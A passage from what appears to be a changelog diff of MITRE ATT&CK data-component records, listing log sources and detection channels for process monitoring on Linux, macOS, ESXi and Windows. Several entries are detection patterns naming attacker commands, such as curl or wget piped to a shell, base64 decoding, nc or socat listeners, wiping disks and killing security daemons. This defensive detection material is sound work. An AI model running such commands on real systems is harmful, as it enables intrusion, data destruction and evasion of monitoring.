(sh, bash, python) within container context\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"es_event_exec\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of discovery commands targeting backup binaries, processes, or config paths\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process execution logs showing discovery commands like mdfind, system_profiler, or launchctl list\"}, {\"name\": \"macos:osquery\", \"channel\": \"process_events OR launchd\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"execve\"}, {\"name\": \"macos:osquery\", \"channel\": \"launchd or process_events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process and file events via log stream\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of scripts or binaries spawned from browser processes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Browser processes launching unexpected interpreters (osascript, bash)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec: Execution of defaults, plutil, or common editors (vim/nano) targeting plist files\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"EXECVE\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process:exec\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of bash, python, or perl processes spawned by browser/email client\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of osascript, bash, or Terminal initiated from Mail.app or Safari\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of /bin/sh,/bin/bash,/usr/bin/curl,/usr/bin/python by service accounts (e.g., apache, mysql, nobody) immediately after inbound network activity.\"}, {\"name\": \"macos:osquery\", \"channel\": \"parent_name in ('sshd','httpd','screensharingd') spawning shells or scripting runtimes.\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process activity stream\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"SYSCALL record where exe contains passwd/userdel/chage and auid != root\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Post-login execution of unrecognized child process from launchd or loginwindow\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of base64|openssl|xxd|python|perl with arguments matching Base64 flags\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process command line contains base64, -enc, openssl enc -base64\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"exec: arguments contain Base64-like strings\"}, {\"name\": \"esxi:shell\", \"channel\": \"commands containing base64, openssl enc -base64, xxd -p\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of process launched via loginwindow session restore\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process: exec + filewrite: ~/.ssh/authorized_keys\"}, {\"name\": \"containerd:runtime\", \"channel\": \"/var/log/containers/*.log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of Java apps or other processes with hidden window attributes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process Execution\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve on code or jetbrains-gateway with remote flags\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process: code or jetbrains-gateway launching with --tunnel or --remote\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream --predicate 'processImagePath CONTAINS \\\"curl\\\" OR \\\"osascript\\\"'\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Execution of dd, shred, wipe targeting block devices\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of sleep or ping command within script interpreted by bash/python\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve or socket/connect system calls from processes using crypto libraries\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process using AES/RC4 routines unexpectedly\"}, {\"name\": \"linux:osquery\", \"channel\": \"execution of known firewall binaries\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"type=EXECVE or SYSCALL for /bin/date, /usr/bin/timedatectl, /sbin/hwclock, /bin/cat /etc/timezone, /bin/cat /proc/uptime\"}, {\"name\": \"linux:osquery\", \"channel\": \"execve: command like 'date', 'timedatectl', 'hwclock', 'cat /etc/timezone'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process exec events of systemsetup, date, ioreg with command_line parameters indicating time discovery\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"exec: binary == \\\"/usr/sbin/systemsetup\\\" and args contains \\\"-gettimezone\\\"\"}, {\"name\": \"macos:osquery\", \"channel\": \"execve: command LIKE '%systemsetup -gettimezone%' OR '%date%'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of osascript, curl, or unexpected automation\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec /usr/bin/pwpolicy\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"socket(AF_PACKET|AF_INET, SOCK_RAW, *), setsockopt(\\u2026 SO_ATTACH_FILTER|SO_ATTACH_BPF \\u2026), bpf(cmd=BPF_PROG_LOAD), open/openat path=\\\"/dev/bpf*\\\" (BSD/macOS-like) or setcap cap_net_raw.\"}, {\"name\": \"linux:syslog\", \"channel\": \"KERN messages about eBPF program load/verify or LSM denials related to bpf.\"}, {\"name\": \"OpenBSM:AuditTrail\", \"channel\": \"open/openat of /dev/bpf*; ioctl BIOCSETF-like operations.\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Exec of tcpdump, rvictl, custom tools linked to libpcap.A.dylib; sysextd/systemextensionsctl events for NetworkExtension content filters.\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"/usr/sbin/postfix, /usr/sbin/exim, /usr/sbin/sendmail\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execution of known flash tools (e.g., flashrom, fwupd)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"com.apple.firmwareupdater activity or update-firmware binary invoked\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of system tools like dmidecode, lspci, lscpu, dmesg, systemd-detect-virt\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec or spawn of 'system_profiler', 'ioreg', 'kextstat', 'sysctl', or calls to sysctl API\"}, {\"name\": \"macos:endpointSecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_EXEC\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Suspicious binaries or scripts interacting with authentication binaries (sshd, gdm, login)\"}, {\"name\": \"macos:osquery\", \"channel\": \"execve: Processes unexpectedly invoking Keychain or authentication APIs\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: execve calls where a browser/webview process is parent and child is interpreter (python, sh, ruby) or downloader (curl, wget)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process_create: Process creation where parent is Safari/Google Chrome and child is script interpreter or signed-but-unusual helper binary\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"None\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process:launch\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Shell commands invoked by SQL process such as postgres, mysqld, or mariadbd\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of smbclient, smbmap, rpcclient, nmblookup, crackmapexec smb\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_EXEC: Process execution of \\\"sharing -l\\\", \\\"smbutil view\\\", \\\"mount_smbfs\\\"\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of scp, rsync, curl with remote destination\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"logMessage contains pbpaste or osascript\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve call with argv matching known disk enumeration commands (lsblk, parted, fdisk)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process launch of diskutil or system_profiler with SPStorageDataType\"}, {\"name\": \"esxi:hostd\", \"channel\": \"execution of esxcli with args matching 'storage', 'filesystem', 'core device list'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Mail.app executing with parameters updating rules state\"}, {\"name\": \"esxi:shell\", \"channel\": \"/var/log/vmkernel.log, /var/log/vmkwarning.log\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"exec: Exec of ffmpeg, avfoundation-based binaries, or custom signed apps accessing camera\"}, {\"name\": \"kubernetes:apiserver\", \"channel\": \"exec into pod followed by secret retrieval via API\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process_name IN (\\\"VBoxManage\\\", \\\"prlctl\\\") AND command CONTAINS (\\\"list\\\", \\\"show\\\")\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec srm|exec openssl|exec gpg\"}, {\"name\": \"linux:osquery\", \"channel\": \"Process execution with LD_PRELOAD or modified library path\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of process with DYLD_INSERT_LIBRARIES set\"}, {\"name\": \"linux:Sysmon\", \"channel\": \"process creation events linked to container namespaces executing host-level binaries\"}, {\"name\": \"WinEventlog:Security\", \"channel\": \"EventCode=4688\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process and signing chain events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchservices events for misleading extensions\"}, {\"name\": \"fs:fsusage\", \"channel\": \"Execution of disguised binaries\"}, {\"name\": \"linux:osquery\", \"channel\": \"process listening or connecting on non-standard ports\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchd services binding to non-standard ports\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve, connect\"}, {\"name\": \"esxi:cron\", \"channel\": \"process or cron activity\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of binaries with unsigned or anomalously signed certificates\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve logging for /usr/bin/systemctl and systemd-run\"}, {\"name\": \"macos:osquery\", \"channel\": \"Invocation of osascript or dylib injection\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of files saved in mail or download directories\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of Terminal, osascript, or other interpreters originating from Mail or Preview\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process events\"}, {\"name\": \"linux:syslog\", \"channel\": \"Unauthorized sudo or shell access, especially leading to file changes in /var/www or /srv/http\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of unexpected terminal or web scripts modifying /Library/WebServer/Documents\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of CLI tools like psql, mysql, mongo, sqlite3\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process start of Java or native DB client tools\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"loginwindow or tccd-related entries\"}, {\"name\": \"macos:osquery\", \"channel\": \"query: process_events, launchd, and tcc.db access\"}, {\"name\": \"ebpf:syscalls\", \"channel\": \"process execution or network connect from just-created container PID namespace\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of pip, npm, gem, or similar package managers\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Command line invocation of pip3, brew install, npm install from interactive Terminal\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"fork/exec of service via PID 1 (systemd)\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Execution of ssh/scp/sftp without corresponding authentication log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of ssh or sftp without corresponding login event\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: execve where exe=/usr/bin/python3 or similar interpreter\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launch of remote desktop app or helper binary\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unexpected processes making network calls based on DNS-derived ports\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchctl spawning new processes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchctl activity and process creation\"}, {\"name\": \"containerd:events\", \"channel\": \"New container with suspicious image name or high resource usage\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of Python, Swift, or other binaries invoking archiving libraries\"}, {\"name\": \"linux:osquery\", \"channel\": \"Processes linked with libssl or crypto libraries making outbound connections\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process invoking SSL routines from Security framework\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Execution of binaries located in /etc/init.d/ or systemd service paths\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of binary listed in newly modified LaunchAgent plist\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of bless or nvram modifying boot parameters\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unexpected processes registered with launchd\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process launch\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of curl, osascript, or unexpected Office processes\"}, {\"name\": \"macos:osquery\", \"channel\": \"exec\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Trust validation failures or bypass attempts during notarization and code signing checks\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"spawned shell or execution environment activity\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process_exec: image in {/bin/bash,/bin/zsh,/usr/bin/osascript,/usr/bin/python*,/usr/bin/curl,/usr/bin/ssh,/usr/bin/open} AND parent in {Preview, TextEdit, Microsoft Word, Microsoft Excel, AdobeReader, Archive Utility, Finder}\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: exe in {/bin/bash,/bin/sh,/usr/bin/python*,/usr/bin/perl,/usr/bin/php,/usr/bin/node,/usr/bin/curl,/usr/bin/wget,/usr/bin/xdg-open,/usr/bin/ssh,/usr/bin/rundll32 (wine)} AND ppid process is a document viewer/browser\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Execution of dd/sgdisk with arguments writing to sector 0 or partition table\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of zip, ditto, hdiutil, or openssl by processes not normally associated with archiving\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process execution events for chmod, chown, chflags with unusual parameters or targets\"}, {\"name\": \"m365:defender\", \"channel\": \"AdvancedHunting(DeviceEvents, ProcessCreate, ImageLoad, AMSI/ETW derived signals)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execve or dylib load from memory without backing file\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Commands that alter firewall or start listeners: iptables|nft|ufw|firewall-cmd|pfctl|systemctl start sshd/telnet/dropbear; raw-socket/libpcap tools (tcpdump, tshark, nmap --raw).\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec: Execution of pfctl, socketfilterfw, launchctl start ssh/telnet, libpcap consumers.\"}, {\"name\": \"esxi:shell\", \"channel\": \"Shell Execution\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unusual child process tree indicating attempted recovery after crash\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of binaries/scripts presenting false health messages for security daemons\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of processes mimicking Apple Security & Privacy GUIs\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Security-Auditing\", \"channel\": \"EventCode=4688\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve, setifflags\"}, {\"name\": \"macos:osquery\", \"channel\": \"process_events where path like '%tcpdump%'\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Execution of dd, shred, or wipe with arguments targeting block devices\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"systemctl stop auditd, kill -9 , or modifications to /etc/selinux/config\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of curl, git, or Office processes with network connections\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream - process subsystem\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve calls for qemu-system*, kvm, or VBoxHeadless\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process execution for VBoxHeadless, prl_vm_app, vmware-vmx\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process logs\"}, {\"name\": \"esxi:shell\", \"channel\": \"None\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of interpreters (python, perl), custom binaries, or shell utilities with long arguments containing non-standard tokens\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_EXEC: arguments contain long, non-standard tokens / custom alphabets\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"command line or log output shows non-standard encoding routines\"}, {\"name\": \"esxi:shell\", \"channel\": \"commands containing long non-standard tokens or custom lookup tables\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of /usr/sbin/installer spawning child process from within /private/tmp or package contents\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Execution of dpkg or rpm followed by fork/execve from within postinst, prerm, etc.\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execve: Helper tools invoked through XPC executing unexpected binaries\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of modified binary without valid signature\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: exe in (/usr/bin/bash,/usr/bin/sh,/usr/bin/zsh,/usr/bin/python*) AND cmdline matches '(curl|wget).*(\\\\||\\\\|\\\\s*sh|bash)|base64\\\\s*-d|python\\\\s*-c'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec: ParentImage in (Terminal, iTerm2) AND Image in (/bin/zsh,/bin/bash,/usr/bin/python*) AND CommandLine matches '(curl|wget).*(\\\\||\\\\|\\\\s*sh|bash)|base64 -D|python -c'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process created with repeated ICMP or UDP flood behavior\"}, {\"name\": \"fs:fsusage\", \"channel\": \"binary execution of security_authtrampoline\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process: exec\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"Exec\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Child processes of Safari, Chrome, or Firefox executing scripting interpreters\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of older or non-standard interpreters\"}, {\"name\": \"linux:osquery\", \"channel\": \"process execution events for permission modification utilities with command-line analysis\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process execution events for chmod, chown, chflags with parameter analysis and target path examination\"}, {\"name\": \"macos:osquery\", \"channel\": \"process execution monitoring for permission modification utilities with command-line argument analysis\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Invocation of packet generation tools (e.g., hping3, nping) or fork bombs\"}, {\"name\": \"macos:osquery\", \"channel\": \"Execution of flooding tools or compiled packet generators\"}, {\"name\": \"esxi:hostd\", \"channel\": \"process\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve for proxy tools\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process, socket, and DNS logs\"}, {\"name\": \"macos:osquery\", \"channel\": \"process_events table\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Command line containing `trap` or `echo 'trap` written to login shell files\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log collect --predicate\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve or nanosleep with no stdout/stderr I/O\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchd or osascript spawns process with delay command\"}, {\"name\": \"linux:syslog\", \"channel\": \"systemd-udevd spawning user-defined action from RUN+=\"}, {\"name\": \"ebpf:syscalls\", \"channel\": \"execve\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process:spawn\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream --predicate 'eventMessage contains \\\"exec\\\"'\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"cat|less|grep accessing .bash_history from a non-shell process\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Process execution via .desktop Exec path from /etc/xdg/autostart or ~/.config/autostart\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Execution of dpkg, rpm, or other package manager with list flag\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of system_profiler or osascript invoking enumeration\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"apache2 or nginx spawning sh, bash, or python interpreter\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"httpd spawning bash, zsh, python, or osascript\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of /usr/libexec/security_authtrampoline or child processes originating from non-trusted binaries triggering credential prompts\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of security or osascript\"}, {\"name\": \"WinEventLog:security\", \"channel\": \"EventCode=4688\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchd spawning processes tied to new or modified LaunchDaemon .plist entries\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of ping, nping, or crafted network packets via bash or python to reflection services\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of commands modifying iptables/nftables to block selective IPs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"System process modifications altering DNS/proxy settings\"}, {\"name\": \"containerd:Events\", \"channel\": \"unusual process spawned from container image context\"}, {\"name\": \"macos:osquery\", \"channel\": \"curl, python scripts, rsync with internal share URLs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process: spawn, exec\"}, {\"name\": \"macos:osquery\", \"channel\": \"Rapid spawning of resource-heavy applications (e.g., Preview, Safari, Office)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process creation events where command line = pmset with arguments affecting sleep, hibernatemode, displaysleep\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unexpected apps performing repeated DNS lookups\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchservices or loginwindow events\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve with LD_PRELOAD or linker-related environment variables set\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of process with DYLD_INSERT_LIBRARIES set\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Suspicious Swift/Objective-C or scripting processes writing archive-like outputs\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of re-parented process\"}, {\"name\": \"linux:osquery\", \"channel\": \"Anomalous parent PID change\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process creation with parent PID of 1 (launchd)\"}, {\"name\": \"linux:osquery\", \"channel\": \"child process invoking dynamic linker post-ptrace\"}, {\"name\": \"macos:osquery\", \"channel\": \"Processes executing kextload, spctl, or modifying kernel extension directories\"}, {\"name\": \"macos:osquery\", \"channel\": \"Unsigned or ad-hoc signed process executions in user contexts\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of diskutil or hdiutil attaching hidden partitions\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process execution events for discovery utilities (system_profiler, sw_vers, dscl, networksetup) with command-line parameter analysis\"}, {\"name\": \"macos:osquery\", \"channel\": \"process event monitoring with focus on discovery utilities and cryptographic framework usage correlation\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unexpected apps generating frequent DNS queries\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process exec\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"socket: Suspicious creation of AF_UNIX sockets outside expected daemons\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Non-standard processes invoking financial applications or payment APIs\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Agent/headless flags (listen/connect/reverse/tunnel) or remote-control binaries spawning shells\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"systemctl enable/start: Creation/enablement of custom .service units in /etc/systemd/system\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process exec of remote-control apps or binaries with headless/connect flags\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: systemctl stop, service stop, or kill -9 on security daemons (e.g., falcon-sensor, auditd)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of launchctl unload, kill, or removal of security agent daemons\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process activity, exec events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream process subsystem\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process:exec and kext load events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream --info --predicate 'eventMessage CONTAINS \\\"exec\\\"'\"}, {\"name\": \"WinEventLog:Microsoft-Windows-DotNETRuntime\", \"channel\": \"Unexpected AppDomain creation events or anomalous AppDomainManager assembly load behavior\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Execution of network stress tools or anomalies in socket/syscall behavior\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unsigned binary execution following SIP change\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Commands altering firewall or enabling listeners (iptables, nft, ufw, firewall-cmd, systemctl start *ssh*/*telnet*, ip route add, tcpdump, tshark)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec: Execution of /sbin/pfctl, /usr/libexec/ApplicationFirewall/socketfilterfw, ifconfig, tcpdump, npcap/libpcap consumers\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of zip, ditto, hdiutil, or openssl by non-terminal parent processes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of binaries with TCC protected access under unexpected parent processes such as Finder.app, SystemUIServer, or nsurlsessiond\"}, {\"name\": \"WinEventLog:AppLocker\", \"channel\": \"EventCode=8003,8004\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve, unlink\"}, {\"name\": \"macos:osquery\", \"channel\": \"launchd, processes\"}, {\"name\": \"linux:osquery\", \"channel\": \"socat, ssh, or nc processes opening unexpected ports\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process execution of ssh with -L/-R forwarding flags\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchd or cron spawning mining binaries\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve or socket/connect system calls for processes using RSA handshake\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process invoking SecKeyCreateRandomKey or asymmetric crypto APIs\"}, {\"name\": \"azure:vmguest\", \"channel\": \"Unexpected execution of cloud agent processes (e.g., WindowsAzureGuestAgent.exe, ssm-agent) followed by arbitrary script or binary execution\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Script interpreter invoked by nginx/apache worker process\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of Office binaries with network activity\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launch of bash/zsh/python/osascript targeting key file locations\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of /sbin/emond with child processes launched\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"provider: ETW CreateProcess events linking msbuild.exe to suspicious children where standard logs are incomplete\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"shutdown -h now or reboot\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of Code.app, idea, JetBrainsToolbox, eclipse with install/extension flags\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process execution events for system discovery utilities (system_profiler, sysctl, networksetup, ioreg) with parameter analysis\"}, {\"name\": \"OpenBSM:AuditTrail\", \"channel\": \"BSM audit events for process execution and system call monitoring during reconnaissance\"}, {\"name\": \"esxi:hostd\", \"channel\": \"host daemon events related to VM operations and configuration queries during reconnaissance\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"VMware kernel events for hardware and system configuration access during environmental validation\"}, {\"name\": \"linux:osquery\", \"channel\": \"processes modifying environment variables related to history logging\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: parent process is usb/hid device handler, child process bash/python invoked\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of curl, rclone, or Office apps invoking network sessions\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec: Execution of kextstat, kextfind, or ioreg targeting driver information\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"exec events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process creation involving binaries interacting with resource fork data\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process event\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of suspicious exploit binaries targeting security daemons\"}, {\"name\": \"macos:osquery\", \"channel\": \"execve: Unsigned or unnotarized processes launched with high privileges\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"security OR injection attempts into 1Password OR LastPass\"}]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 19:28:39.339000+00:00\", \"old_value\": \"2025-04-18 15:10:27.797000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.2\"}, \"root['x_mitre_data_source_ref']\": {\"new_value\": \"\", \"old_value\": \"x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:35.331000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0034", + "external_id": "DC0034" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Process Metadata", + "description": "Contextual data about a running process, which may include information such as environment variables, image name, user/owner, etc.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Process", + "channel": "None" + }, + { + "name": "macos:unifiedlog", + "channel": 